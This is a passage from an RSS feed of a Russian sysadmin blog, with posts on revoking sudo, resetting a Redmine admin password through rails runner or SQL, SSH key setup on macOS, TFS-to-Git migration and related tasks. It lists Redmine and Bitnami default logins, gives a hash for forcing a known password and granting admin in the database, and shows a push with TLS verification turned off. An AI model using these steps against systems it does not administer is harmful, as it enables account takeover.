<pre><code class="language-bash">sudo gpasswd -d alice sudo     # в Fedora и RHEL — wheel
sudo rm /etc/sudoers.d/alice   # если создавали этот файл
</code></pre>
<p>В классическом sudo уже открытые сессии alice сохраняют sudo, пока она не выйдет из системы. <code>sudo pkill -KILL -u alice</code> завершит их вместе со всеми её процессами. В Ubuntu 26.04 (sudo-rs) права пропадают сразу.</p>
<p>В Ubuntu и Debian то же делает <code>sudo deluser alice sudo</code>. Удалить аккаунт вместе с домашней директорией: <code>sudo deluser --remove-home alice</code> в Ubuntu и Debian, <code>sudo userdel -r alice</code> в любой из этих систем.</p>
<h2>Частые ошибки</h2>
<ul>
<li><code>usermod -G sudo alice</code> без <code>-a</code> заменит все дополнительные группы alice одной <code>sudo</code>. Пишите <code>-aG</code>.</li>
<li>Для root-шелла хватит <code>sudo -i</code>. <code>sudo su</code> из версии этого поста 2017 года делает то же самое двумя программами вместо одной.</li>
<li>В <code>/etc/sudoers</code> в Ubuntu есть ещё строка <code>%admin</code>, но группы <code>admin</code> по умолчанию нет. Используйте <code>sudo</code>.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Как сбросить пароль Redmine и выдать права админа</title>
      <link>https://koz.tv/ru/posts/sbros-parolya-i-vydacha-prav-administratora-dlya-akkaunta-re/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/sbros-parolya-i-vydacha-prav-administratora-dlya-akkaunta-re/</guid>
      <pubDate>Thu, 09 Nov 2017 00:00:00 GMT</pubDate>
      <description>Логин по умолчанию в Redmine — admin / admin. Забыли пароль админа? Сбросьте его одной командой rails runner, в Bitnami и Docker тоже, или через SQL.</description>
      <content:encoded><![CDATA[<p>В свежеустановленный Redmine входят под <strong>admin / admin</strong>. С версии 3.3 Redmine сразу после первого входа требует сменить этот пароль.</p>
<p>Если забыли пароль админа, зайдите на сервер в папку Redmine (ту, где лежит <code>config/database.yml</code>) и выполните:</p>
<pre><code class="language-bash">cd /path/to/redmine
RAILS_ENV=production bundle exec rails runner &#39;
  u = User.find_by_login(&quot;admin&quot;)
  u.password = u.password_confirmation = &quot;NewPass-2026!&quot;
  u.admin = true
  u.status = User::STATUS_ACTIVE
  u.save!
  puts &quot;#{u.login}: password changed, admin=#{u.admin}&quot;
&#39;
</code></pre>
<p>Команда задаёт новый пароль, выдаёт права администратора и снимает блокировку. Чтобы сделать админом другого пользователя, подставьте его логин вместо <code>admin</code>. Хеш Redmine считает сам, в базу руками лезть не нужно. Я проверил команду на Redmine 5.1, 6.1 и 7.0 и на образе Bitnami с 6.0.</p>
<h2>Логин и пароль Redmine по умолчанию</h2>
<ul>
<li>Архив с redmine.org и официальный Docker-образ <code>redmine</code>: <code>admin</code> / <code>admin</code>.</li>
<li>Bitnami на виртуалке или в облаке: логин <code>user</code>, пароль лежит в <code>/home/bitnami/bitnami_credentials</code>, откройте его через <code>sudo cat</code>. В AWS Lightsail: <code>cat $HOME/bitnami_application_password</code>.</li>
<li>Docker-образ Bitnami: <code>user</code> / <code>bitnami1</code> в старых образах на Debian: раньше это был <code>bitnami/redmine</code>, теперь <code>bitnamilegacy/redmine</code>. В Bitnami Secure Images логин по умолчанию тоже <code>user</code>, а пароль — тот, что вы задали в <code>REDMINE_PASSWORD</code>.</li>
</ul>
<p>Если пароль по умолчанию не подходит, его уже кто-то сменил. Сбросьте его командой выше.</p>
<h2>То же через консоль Rails</h2>
<p>Так удобнее, если сначала хотите осмотреться:</p>
<pre><code class="language-bash">cd /path/to/redmine
RAILS_ENV=production bundle exec rails console
</code></pre>
<pre><code class="language-ruby"># кто сейчас админы
User.where(admin: true).pluck(:login)

u = User.find_by_login(&quot;admin&quot;)
u.password = u.password_confirmation = &quot;NewPass-2026!&quot;
u.admin = true
u.status = User::STATUS_ACTIVE
u.save!

# вернёт пользователя, если пароль подходит
User.try_to_login(&quot;admin&quot;, &quot;NewPass-2026!&quot;)
</code></pre>
<p>Выйти из консоли — <code>exit</code>.</p>
<h2>Как выдать права администратора в Redmine</h2>
<p>Если можете войти под другим админом, откройте «Администрирование → Пользователи», нажмите на логин нужного пользователя, отметьте «Администратор» и нажмите «Сохранить».</p>
<p>Если войти под админом некому, выполните на сервере команду из начала статьи с логином этого пользователя вместо <code>admin</code>. Если <code>rails runner</code> не запускается, выдайте права прямо в базе. Запрос работает в MySQL и PostgreSQL, подставьте свой логин вместо <code>ivanov</code>:</p>
<pre><code class="language-sql">UPDATE users SET admin = true WHERE login = &#39;ivanov&#39;;
</code></pre>
<p>Как подключиться к базе, написано ниже, в разделе про SQL.</p>
<h2>Сброс пароля в Bitnami Redmine</h2>
<p>В нынешних виртуалках и облачных образах Bitnami Redmine лежит в <code>/opt/bitnami/redmine</code>, а админ там — <code>user</code>, не <code>admin</code>:</p>
<pre><code class="language-bash">cd /opt/bitnami/redmine
RAILS_ENV=production bundle exec rails runner &#39;u = User.find_by_login(&quot;user&quot;); u.password = u.password_confirmation = &quot;NewPass-2026!&quot;; u.admin = true; u.status = User::STATUS_ACTIVE; u.save!&#39;
</code></pre>
<p>В старых сборках приложение лежит в <code>apps/redmine/htdocs</code> внутри папки стека, и Ruby у стека свой. У меня в 2017 году стояла такая, с Redmine 3.x. Сначала загрузите окружение стека, потом выполните ту же команду:</p>
<pre><code class="language-bash"># у инсталлятора это /opt/redmine-&lt;версия&gt;
cd /opt/bitnami
./use_redmine
cd apps/redmine/htdocs
</code></pre>
<p>Подробнее о старой структуре папок Bitnami — в постах <a href="https://koz.tv/ru/posts/ustanovka-i-nastroyka-bitnami-redmine/">об установке и настройке Bitnami Redmine</a> и <a href="https://koz.tv/ru/posts/poleznye-plaginy-redmine-i-ih-ustanovka-v-bitnami-redmine/">о плагинах</a>.</p>
<h2>Redmine в Docker</h2>
<p>В официальном образе <code>redmine</code> рабочая папка и <code>RAILS_ENV=production</code> уже заданы. Для контейнера с именем <code>redmine</code>:</p>
<pre><code class="language-bash">docker exec redmine bundle exec rails runner &#39;u = User.find_by_login(&quot;admin&quot;); u.password = u.password_confirmation = &quot;NewPass-2026!&quot;; u.admin = true; u.status = User::STATUS_ACTIVE; u.save!&#39;
</code></pre>
<p>В образе Bitnami приложение лежит в <code>/opt/bitnami/redmine</code>:</p>
<pre><code class="language-bash">docker exec -w /opt/bitnami/redmine redmine bundle exec rails runner -e production &#39;u = User.find_by_login(&quot;user&quot;); u.password = u.password_confirmation = &quot;NewPass-2026!&quot;; u.admin = true; u.status = User::STATUS_ACTIVE; u.save!&#39;
</code></pre>
<p>После команды образ Bitnami печатает справку по <code>rails new</code>. Это шум от его бинстаба <code>bin/rails</code>, пароль к этому моменту уже сохранён. Менять переменную <code>REDMINE_PASSWORD</code> бесполезно: образ читает её только при первом запуске.</p>
<h2>Сброс пароля Redmine через SQL</h2>
<p>Запасной вариант, если Ruby на сервере сломан и <code>rails runner</code> не запускается. Имя базы, пользователя и пароль возьмите из <code>config/database.yml</code>, секция <code>production</code>:</p>
<pre><code class="language-bash">mysql -u redmine -p redmine            # MySQL или MariaDB
psql -U redmine -h localhost redmine   # PostgreSQL
</code></pre>
<p>Так это выглядело на моём сервере Bitnami, база называлась <code>bitnami_redmine</code>:</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/image1-480.avif 480w, https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/image1.avif 567w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/image1-480.webp" alt="Консоль MySQL на сервере Bitnami Redmine" width="567" height="289" style="aspect-ratio:567/289" srcset="https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/image1-480.webp 480w, https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/image1.webp 567w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Найдите учётку. В таблице <code>users</code> лежат ещё группы и анонимный пользователь, отсюда фильтр по <code>type</code>. В <code>status</code> 1 — активен, 2 — зарегистрирован, 3 — заблокирован:</p>
<pre><code class="language-sql">SELECT id, login, admin, status FROM users WHERE type = &#39;User&#39;;
</code></pre>
<p>Поставьте пароль <code>password</code>, разблокируйте учётку и включите обязательную смену пароля при следующем входе:</p>
<pre><code class="language-sql">UPDATE users
SET hashed_password = &#39;353e8061f2befecb6818ba0c034c632fb0bcae1b&#39;,
    salt = &#39;&#39;,
    status = 1,
    must_change_passwd = true
WHERE login = &#39;admin&#39;;
</code></pre>
<p>Запрос работает в MySQL и PostgreSQL без правок. Чтобы выдать права админа другому пользователю, добавьте в <code>SET</code> строку <code>admin = true</code>, а в <code>WHERE</code> подставьте его логин.</p>
<h3>Почему пароль — «password»</h3>
<p>Redmine сравнивает <code>hashed_password</code> с <code>SHA1(salt + SHA1(password))</code>, см. <code>check_password?</code> в <a href="https://github.com/redmine/redmine/blob/master/app/models/user.rb" target="_blank" rel="noopener">app/models/user.rb</a>. С пустой солью выходит <code>SHA1(SHA1(password))</code>, а <code>353e8061…</code> — это ровно <code>SHA1(SHA1(&quot;password&quot;))</code>. Когда вы смените пароль в интерфейсе, Redmine создаст новую случайную соль.</p>
<p>Свой пароль MySQL и MariaDB захешируют прямо в запросе:</p>
<pre><code class="language-sql">UPDATE users
SET hashed_password = SHA1(SHA1(&#39;My-own-Pass_2026&#39;)), salt = &#39;&#39;, status = 1
WHERE login = &#39;admin&#39;;
</code></pre>
<p>В PostgreSQL встроенной SHA1 нет. Посчитайте хеш в терминале и вставьте его в <code>UPDATE</code>. На macOS вместо <code>sha1sum</code> пишите <code>shasum</code>:</p>
<pre><code class="language-bash">printf &#39;%s&#39; &#39;My-own-Pass_2026&#39; | sha1sum | cut -c1-40 | tr -d &#39;\n&#39; | sha1sum | cut -c1-40
</code></pre>
<h2>Забыли пароль от Redmine, а доступа к серверу нет</h2>
<p>Нажмите «Восстановление пароля» на странице входа. Redmine пришлёт ссылку для сброса, если админ не отключил восстановление и на сервере настроена почта. Если ссылки нет или письмо не приходит, попросите администратора задать вам новый пароль в разделе «Администрирование → Пользователи».</p>
<h2>Если сброс не помог</h2>
<ul>
<li><code>undefined method &#39;password_confirmation=&#39; for nil</code> (в старых версиях Ruby — <code>undefined method `password_confirmation=&#39; for nil:NilClass</code>) — пользователя с таким логином нет. Список логинов: <code>User.pluck(:login)</code>.</li>
<li><code>Validation failed: Password is too short (minimum is 8 characters)</code> — пароль не проходит правила из «Администрирование → Настройки → Аутентификация».</li>
<li>Пароль сбросили, а войти не получается. Возможно, учётка входит через LDAP, и пароль Redmine проверяет там. Добавьте <code>u.auth_source = nil</code> перед <code>u.save!</code>, и учётка перейдёт на локальный пароль.</li>
<li>Redmine 4.2+ просит код двухфакторной аутентификации, а телефона нет. Добавьте перед <code>u.save!</code> строку <code>Redmine::Twofa.for_user(u)&amp;.destroy_pairing_without_verify!</code>.</li>
<li>Без <code>RAILS_ENV=production</code> Rails стартует в режиме разработки: либо падает, либо открывает development-базу вместо вашей.</li>
<li>Когда кто-то получает права админа, Redmine рассылает всем администраторам письмо об этом. Так и должно быть.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Как скопировать SSH-ключ на Mac и сгенерировать новый</title>
      <link>https://koz.tv/ru/posts/kak-sgenerirovat-i-skopirovat-ssh-klyuch-v-mac-os/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/kak-sgenerirovat-i-skopirovat-ssh-klyuch-v-mac-os/</guid>
      <pubDate>Sun, 09 Jul 2017 00:00:00 GMT</pubDate>
      <description>Как скопировать публичный SSH-ключ на Mac одной командой, создать ключ Ed25519, сохранить пароль в Связке ключей и добавить ключ на сервер и в GitHub.</description>
      <content:encoded><![CDATA[<p>Чтобы скопировать публичный SSH-ключ в буфер обмена, выполните в Терминале:</p>
<pre><code class="language-bash">pbcopy &lt; ~/.ssh/id_ed25519.pub
</code></pre>
<p>Команда ничего не выводит. Ключ уже в буфере: вставьте его через Cmd+V в GitHub, GitLab или панель хостинга.</p>
<p>Если ключ создан по версии этого поста 2017 года или командой <code>ssh-keygen</code> без параметров до OpenSSH 9.5 (2023 год), он RSA и лежит в другом файле:</p>
<pre><code class="language-bash">pbcopy &lt; ~/.ssh/id_rsa.pub
</code></pre>
<p>Если zsh отвечает <code>no such file or directory</code>, такого ключа у вас нет. Создайте его (ниже).</p>
<p>Я проверил команды на OpenSSH 10 (в macOS 26.1 стоит 10.0p2) с сервером на Ubuntu 26.04.</p>
<h2>Какой файл копировать: публичный ключ</h2>
<pre><code class="language-bash">ls ~/.ssh
</code></pre>
<p>Ключ — это пара файлов. <code>id_ed25519</code> — закрытый ключ, он не покидает ваш Mac. <code>id_ed25519.pub</code> — публичный, его можно отдавать кому угодно. Это одна строка:</p>
<pre><code class="language-text">ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... you@example.com
</code></pre>
<p>Если текст в буфере начинается с <code>-----BEGIN OPENSSH PRIVATE KEY-----</code>, а у старых RSA-ключей — с <code>-----BEGIN RSA PRIVATE KEY-----</code>, вы скопировали закрытый ключ. Никуда его не вставляйте.</p>
<p>Без <code>pbcopy</code>: выполните <code>cat ~/.ssh/id_ed25519.pub</code>, выделите строку от <code>ssh-</code> до конца и нажмите Cmd+C.</p>
<h2>Как создать SSH-ключ на Mac</h2>
<pre><code class="language-bash">ssh-keygen -t ed25519 -C &quot;you@example.com&quot;
</code></pre>
<p>На вопрос о файле нажмите Enter: ключ ляжет в <code>~/.ssh/id_ed25519</code>. Потом дважды введите парольную фразу (о ней ниже). Если папки <code>~/.ssh</code> нет, ssh-keygen создаст её с правами 700, а закрытому ключу поставит 600. Остаётся скопировать ключ через <code>pbcopy</code>.</p>
<p><code>-C</code> — комментарий в конце ключа. По нему вы отличите ключи в <code>authorized_keys</code> на сервере и в выводе <code>ssh-add -l</code>. Без <code>-C</code> комментарием станет <code>user@hostname</code>.</p>
<p>С OpenSSH 9.5 <code>ssh-keygen</code> без параметров тоже создаёт Ed25519. Я всё равно пишу <code>-t ed25519</code>, чтобы на старых системах получился такой же ключ.</p>
<p>Если ssh-keygen пишет <code>id_ed25519 already exists</code> и спрашивает <code>Overwrite (y/n)?</code>, отвечайте <code>n</code>. Перезапись удалит старый ключ, и все серверы, где он был, перестанут вас пускать.</p>
<h2>Парольная фраза и Связка ключей macOS</h2>
<p>Парольная фраза шифрует закрытый ключ: без неё украденный файл бесполезен. Чтобы не вводить фразу при каждом подключении, сохраните её в Связке ключей:</p>
<pre><code class="language-bash">ssh-add --apple-use-keychain ~/.ssh/id_ed25519
</code></pre>
<p>И добавьте в <code>~/.ssh/config</code> (если файла нет, создайте его):</p>
<pre><code class="language-text">Host *
  AddKeysToAgent yes
  UseKeychain yes
</code></pre>
<p>С <code>UseKeychain</code> ssh берёт парольную фразу из Связки ключей, а если вы ввели её вручную и она подошла, сохраняет туда. <code>AddKeysToAgent</code> загружает ключ в ssh-agent при первом подключении. После перезагрузки запускать <code>ssh-add</code> заново не нужно.</p>
<p>В старых инструкциях встречается <code>ssh-add -K</code>. В macOS 26.1 он ещё работает, но выводит предупреждение, а в man сказано, что следующие версии macOS перестанут его поддерживать.</p>
<p>Проверить парольную фразу: <code>ssh-keygen -y -f ~/.ssh/id_ed25519</code>. С верной фразой команда выведет публичный ключ, с неверной — <code>incorrect passphrase supplied to decrypt private key</code>. Та же команда восстановит удалённый <code>.pub</code>:</p>
<pre><code class="language-bash">ssh-keygen -y -f ~/.ssh/id_ed25519 &gt; ~/.ssh/id_ed25519.pub
</code></pre>
<p>Поставить или сменить парольную фразу: <code>ssh-keygen -p -f ~/.ssh/id_ed25519</code>.</p>
<p>Если <code>~/.ssh/config</code> общий с Linux-машинами, ssh там остановится с ошибкой <code>Bad configuration option: usekeychain</code>. Первой строкой файла напишите:</p>
<pre><code class="language-text">IgnoreUnknown UseKeychain
</code></pre>
<h2>RSA-ключ для старых серверов</h2>
<p>Ed25519 появился в OpenSSH 6.5 в январе 2014 года. Если старый сервер не принимает ваш ключ, создайте RSA:</p>
<pre><code class="language-bash">ssh-keygen -t rsa -b 4096 -C &quot;you@example.com&quot;
</code></pre>
<p>Он сохранится в <code>~/.ssh/id_rsa</code>. Без <code>-b</code> длина будет 3072 бита. RSA-ключ, который у вас уже есть, работает с современными серверами, менять его не обязательно.</p>
<p>Со старым сервером одного ключа мало. Серверы до OpenSSH 7.2 (2016 год) принимают RSA-ключ только с подписью SHA-1 (<code>ssh-rsa</code>), а ssh с версии 8.8 (2021 год) по умолчанию так не подписывает. ssh тогда пропускает ключ: просит пароль или отвечает <code>Permission denied (publickey)</code>. Причину видно только в <code>ssh -v</code>: <code>no mutual signature algorithm</code>. Разрешите SHA-1 для одного этого сервера в <code>~/.ssh/config</code>. Вместо адреса из примера напишите тот, что набираете после <code>@</code>:</p>
<pre><code class="language-text">Host oldserver.example.com
  PubkeyAcceptedAlgorithms +ssh-rsa
  HostKeyAlgorithms +ssh-rsa
</code></pre>
<p><code>HostKeyAlgorithms</code> нужен, если у сервера только RSA-ключ хоста. Без этой строки ssh остановится ещё до входа с ошибкой <code>no matching host key type found. Their offer: ssh-rsa</code>. ssh-copy-id тоже читает эти настройки. Не пишите их под <code>Host *</code>: OpenSSH отключил SHA-1, потому что атаки на коллизии стали практическими.</p>
<h2>Как скопировать ключ на сервер: ssh-copy-id</h2>
<p><code>ssh-copy-id</code> в macOS уже есть:</p>
<pre><code class="language-bash">ssh-copy-id -i ~/.ssh/id_ed25519.pub user@server
</code></pre>
<p>Он один раз входит на сервер, обычно по паролю, и дописывает ключ в <code>~/.ssh/authorized_keys</code>. Папку и файл создаёт сам, с правами 700 и 600. Если всё прошло, увидите <code>Number of key(s) added: 1</code>.</p>
<p>Не убирайте <code>-i</code>. Без него ssh-copy-id возьмёт ключи из ssh-agent или самый свежий <code>~/.ssh/id*.pub</code>, а это может оказаться не тот ключ.</p>
<p>Для ssh-copy-id нужен любой рабочий вход: пароль или другой ключ, который сервер уже принимает. Если нет ни того, ни другого, <a href="https://koz.tv/ru/posts/razreshit-ssh-autentifikatsiyu-po-parolyu-na-udalyonnom-serv/">временно включите пароли</a> или добавьте ключ на самом сервере (ниже).</p>
<h2>Как добавить ключ в authorized_keys вручную</h2>
<p>То же без ssh-copy-id, одной строкой с Mac:</p>
<pre><code class="language-bash">cat ~/.ssh/id_ed25519.pub | ssh user@server &#39;mkdir -p ~/.ssh &amp;&amp; chmod 700 ~/.ssh &amp;&amp; { echo; cat; } &gt;&gt; ~/.ssh/authorized_keys &amp;&amp; chmod 600 ~/.ssh/authorized_keys&#39;
</code></pre>
<p>Если по SSH не пускает совсем, откройте терминал сервера другим способом, например через веб-консоль хостинга. Войдите под тем пользователем, под которым будете подключаться, и добавьте ключ, подставив свой вместо примера:</p>
<pre><code class="language-bash">mkdir -p ~/.ssh
echo &gt;&gt; ~/.ssh/authorized_keys
echo &#39;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... you@example.com&#39; &gt;&gt; ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
</code></pre>
<p>Дописывайте через <code>&gt;&gt;</code>: одинарная <code>&gt;</code> перезапишет файл и сотрёт остальные ключи. Пустой <code>echo</code> добавляет перенос строки: если в конце файла его нет, новый ключ приклеится к последней строке и не заработает. Пустые строки sshd пропускает.</p>
<p>Как добавить ключ другому пользователю через sudo, я разобрал в посте <a href="https://koz.tv/ru/posts/sozdanie-administratora-v-ubuntu-linux/">про создание администратора</a>.</p>
<h2>Как добавить SSH-ключ в GitHub</h2>
<ol>
<li>Скопируйте ключ: <code>pbcopy &lt; ~/.ssh/id_ed25519.pub</code>.</li>
<li>В GitHub: аватар → Settings → SSH and GPG keys → New SSH key.</li>
<li>В Title напишите имя своего Mac, в Key type оставьте Authentication. Вставьте ключ в поле Key и нажмите Add SSH key.</li>
</ol>
<p>Через GitHub CLI это одна команда:</p>
<pre><code class="language-bash">gh ssh-key add ~/.ssh/id_ed25519.pub --title &quot;MacBook Air&quot;
</code></pre>
<p>Если gh просит права <code>admin:public_key</code>, выполните <code>gh auth refresh -h github.com -s admin:public_key</code> и повторите команду.</p>
<p>Проверьте подключение:</p>
<pre><code class="language-bash">ssh -T git@github.com
</code></pre>
<p>При первом подключении ssh покажет отпечаток ключа GitHub. Если это <code>SHA256:+DiY3wvvV6TuJJhbpZisF/zLDA0zPMSvHdkr4UvCOqU</code>, введите <code>yes</code>. Ответ <code>Hi username! You&#39;ve successfully authenticated</code> значит, что всё работает. <code>Permission denied (publickey)</code> значит, что GitHub не знает этот ключ.</p>
<p>Если <code>git push</code> всё ещё спрашивает логин или токен, у репозитория адрес по HTTPS. Переключите его на SSH:</p>
<pre><code class="language-bash">git remote set-url origin git@github.com:user/repo.git
</code></pre>
<p>Как создать репозиторий и сделать первый push — в посте <a href="https://koz.tv/ru/posts/nastroyka-git-i-pervyy-push/">про настройку Git</a>.</p>
<h2>Частые ошибки</h2>
<ul>
<li><code>zsh: no such file or directory: /Users/you/.ssh/id_ed25519.pub</code> — ключа с таким именем нет. Посмотрите, что лежит в <code>~/.ssh</code>: если там <code>id_rsa.pub</code>, копируйте его, если пусто — создайте ключ.</li>
<li><code>Permissions 0644 for &#39;/Users/you/.ssh/id_ed25519&#39; are too open</code> и <code>This private key will be ignored</code> — закрытый ключ могут читать другие пользователи, и ssh от него отказывается. Выполните <code>chmod 700 ~/.ssh</code> и <code>chmod 600 ~/.ssh/id_ed25519</code>.</li>
<li><code>Permission denied (publickey)</code> от сервера — ключа нет в <code>authorized_keys</code> этого пользователя или sshd игнорирует файл. Если у <code>~/.ssh</code> или <code>authorized_keys</code> есть права на запись для всех (777, 666), в логе sshd появится <code>Authentication refused: bad ownership or modes</code>. Какие ключи предлагает ваш Mac, покажет <code>ssh -v user@server</code>.</li>
<li>Парольную фразу спрашивают при каждом подключении — настройте Связку ключей (раздел выше).</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Сравнение цен на виртуальные машины Azure в разных регионах</title>
      <link>https://koz.tv/ru/posts/sravnenie-tsen-na-virtual-nye-mashiny-azure-v-raznyh-regiona/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/sravnenie-tsen-na-virtual-nye-mashiny-azure-v-raznyh-regiona/</guid>
      <pubDate>Tue, 20 Jun 2017 00:00:00 GMT</pubDate>
      <description>Иногда неважно, где размещать виртуальную машину, — нужна лучшая цена. Свои проекты я держу в Microsoft Azure и могу размещать ВМ в разных регионах. Цена…</description>
      <content:encoded><![CDATA[<p>Иногда неважно, где размещать виртуальную машину, — нужна лучшая цена. Свои проекты я держу в Microsoft Azure и могу размещать ВМ в разных регионах. Цена на одну и ту же ВМ в них разная, и выяснять, где соотношение производительности и цены лучше, — головная боль. Я нашёл сайт, который это показывает:</p>
<p><a href="http://azureprice.net/" title="Сравнение цен Azure VM" target="_blank" rel="noopener">http://azureprice.net/</a></p>
<p>Он показывает, какой регион выгоднее для выбранного типа ВМ.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Миграция с TFS на Git</title>
      <link>https://koz.tv/ru/posts/migratsiya-s-tfs-na-git/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/migratsiya-s-tfs-na-git/</guid>
      <pubDate>Wed, 17 May 2017 00:00:00 GMT</pubDate>
      <description>Скачайте git-tfs. Правый клик на Мой компьютер -&gt; Свойства -&gt; Дополнительные параметры системы -&gt; Переменные среды -&gt; Системные переменные -&gt; Path</description>
      <content:encoded><![CDATA[<p>Скачайте git-tfs:</p>
<p><a href="http://git-tfs.com" target="_blank" rel="noopener">http://git-tfs.com</a></p>
<p>Правый клик на Мой компьютер -&gt; Свойства -&gt; Дополнительные параметры системы -&gt; Переменные среды -&gt; Системные переменные -&gt; Path</p>
<p>Добавьте <strong>;C:\TfsMigration\GitTfs-0.25.1</strong> в конец переменной Path.</p>
<p>Откройте командную строку от имени администратора и выполните команды, подставив свои значения:</p>
<pre><code class="language-bash">git tfs clone http://myserver:8080/tfs/DefaultCollection $/PIK.BOP/Trunk . --branches=all
</code></pre>
<pre><code class="language-bash">git remote add origin http://user@myserver/apps/autobop-backend.git
</code></pre>
<p>Я добавляю <strong>-c http.sslVerify=false</strong>, потому что у моего сервера проблемы с сертификатом.</p>
<pre><code class="language-bash">git -c http.sslVerify=false push --all origin
</code></pre>
<p>Если сервер настроен правильно, выполняйте ту же команду без <strong>-c http.sslVerify=false</strong>:</p>
<pre><code class="language-bash">git push --all origin
</code></pre>
<p>Полное описание миграции с tfs на git:</p>
<p><a href="https://github.com/git-tfs/git-tfs/blob/master/doc/usecases/migrate_tfs_to_git.md" target="_blank" rel="noopener">https://github.com/git-tfs/git-tfs/blob/master/doc/usecases/migrate_tfs_to_git.md</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Подсветка просроченных задач в Redmine</title>
      <link>https://koz.tv/ru/posts/podsvetka-prosrochennyh-zadach-v-redmine/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/podsvetka-prosrochennyh-zadach-v-redmine/</guid>
      <pubDate>Sun, 14 May 2017 00:00:00 GMT</pubDate>
      <description>Чтобы подсветить просроченные задачи в Redmine, добавьте в application.css такие стили. Оригинальная статья: http://www.redmine.org/issues/20812</description>
      <content:encoded><![CDATA[<p>Чтобы подсветить просроченные задачи в Redmine, добавьте в application.css такие стили:</p>
<pre><code class="language-css">tr.issue.overdue td.id a, tr.issue.overdue td.subject a, .issue.overdue td.due-date { color: #f00; }
tr.private td.subject a:before {
  content: &#39;&#39;;
  display: inline-block;
  margin: 0 3px 0 -5px;
  height: 11px;
  vertical-align: middle;
  border-left: 2px solid #d22;
  border-right: 1px solid #d22;
}
</code></pre>
<p>Оригинальная статья: <a href="http://www.redmine.org/issues/20812" target="_blank" rel="noopener">http://www.redmine.org/issues/20812</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cron-задача для обработки почты в Redmine</title>
      <link>https://koz.tv/ru/posts/cron-zadacha-dlya-obrabotki-pochty-v-redmine/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/cron-zadacha-dlya-obrabotki-pochty-v-redmine/</guid>
      <pubDate>Sun, 16 Apr 2017 00:00:00 GMT</pubDate>
      <description>Перейдите в папку redmine и скопируйте файл use_redmine. Откройте новый файл. Замените текст на такой (подставьте свои значения).</description>
      <content:encoded><![CDATA[<p>Перейдите в папку redmine и скопируйте файл <strong>use_redmine</strong>:</p>
<pre><code class="language-bash">cp use_redmine proceed_mail
</code></pre>
<p>Откройте новый файл:</p>
<pre><code class="language-bash">nano ./proceed_mail
</code></pre>
<p>Замените текст на такой (подставьте свои значения):</p>
<pre><code class="language-bash">#!/bin/bash

. /opt/redmine-3.3.2-2/scripts/setenv.sh

rake -f /opt/redmine-3.3.2-2/apps/redmine/htdocs/Rakefile redmine:email:receive_imap \
  RAILS_ENV=&quot;production&quot; host=mail_server username=redmine@example.com password=your_password \
  move_on_success=read move_on_failure=failed
</code></pre>
<p>Откройте конфигурацию Cron:</p>
<pre><code class="language-bash">crontab -e
</code></pre>
<p>Добавьте в конец файла строку (подставьте свои значения):</p>
<pre><code class="language-bash">*/5 * * * * /opt/redmine-3.3.2-2/proceed_mail
</code></pre>
]]></content:encoded>
    </item>
    <item>
      <title>Как добавить источник журнала событий в Windows через PowerShell</title>
      <link>https://koz.tv/ru/posts/dobavlenie-istochnika-zhurnala-sobytiy-v-windows/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/dobavlenie-istochnika-zhurnala-sobytiy-v-windows/</guid>
      <pubDate>Tue, 28 Mar 2017 00:00:01 GMT</pubDate>
      <description>Источник журнала событий через New-EventLog: создать, проверить, записать и прочитать события, удалить. И что делать в PowerShell 7, где New-EventLog нет.</description>
      <content:encoded><![CDATA[<p>Откройте Windows PowerShell от имени администратора и зарегистрируйте источник в журнале Application:</p>
<pre><code class="language-powershell">New-EventLog -LogName Application -Source &quot;TestApi&quot;
</code></pre>
<p>Теперь приложение или скрипт может писать события с источником <code>TestApi</code>. Окно нужно открыть от имени администратора: чтобы проверить, что имя уникально, New-EventLog просматривает все журналы, включая Security, а обычному пользователю он недоступен.</p>
<p>В PowerShell 7 такой команды нет, он ответит <code>The term &#39;New-EventLog&#39; is not recognized</code>. Что делать там, написано ниже.</p>
<h2>Проверить, что источник есть</h2>
<pre><code class="language-powershell"># True или False; тоже нужно окно администратора
[System.Diagnostics.EventLog]::SourceExists(&quot;TestApi&quot;)

# Работает без прав администратора: источник — это ключ реестра
Test-Path &quot;HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\Application\TestApi&quot;
</code></pre>
<p>Повторный <code>New-EventLog</code> с тем же именем падает с ошибкой, что источник уже зарегистрирован. Чтобы скрипт можно было запускать сколько угодно раз:</p>
<pre><code class="language-powershell">if (-not [System.Diagnostics.EventLog]::SourceExists(&quot;TestApi&quot;)) {
    New-EventLog -LogName Application -Source &quot;TestApi&quot;
}
</code></pre>
<h2>Записать и прочитать события</h2>
<pre><code class="language-powershell">Write-EventLog -LogName Application -Source &quot;TestApi&quot; `
    -EventId 1000 -EntryType Information -Message &quot;TestApi started&quot;

# Пять последних событий этого источника, в Windows PowerShell и в PowerShell 7
Get-WinEvent -MaxEvents 5 -FilterHashtable @{
    LogName = &#39;Application&#39;; ProviderName = &#39;TestApi&#39;
}
</code></pre>
<p><code>-EntryType</code> принимает <code>Error</code>, <code>Warning</code>, <code>Information</code>, <code>SuccessAudit</code> или <code>FailureAudit</code>. <code>-EventId</code> — до 65535.</p>
<h2>В PowerShell 7 нет New-EventLog</h2>
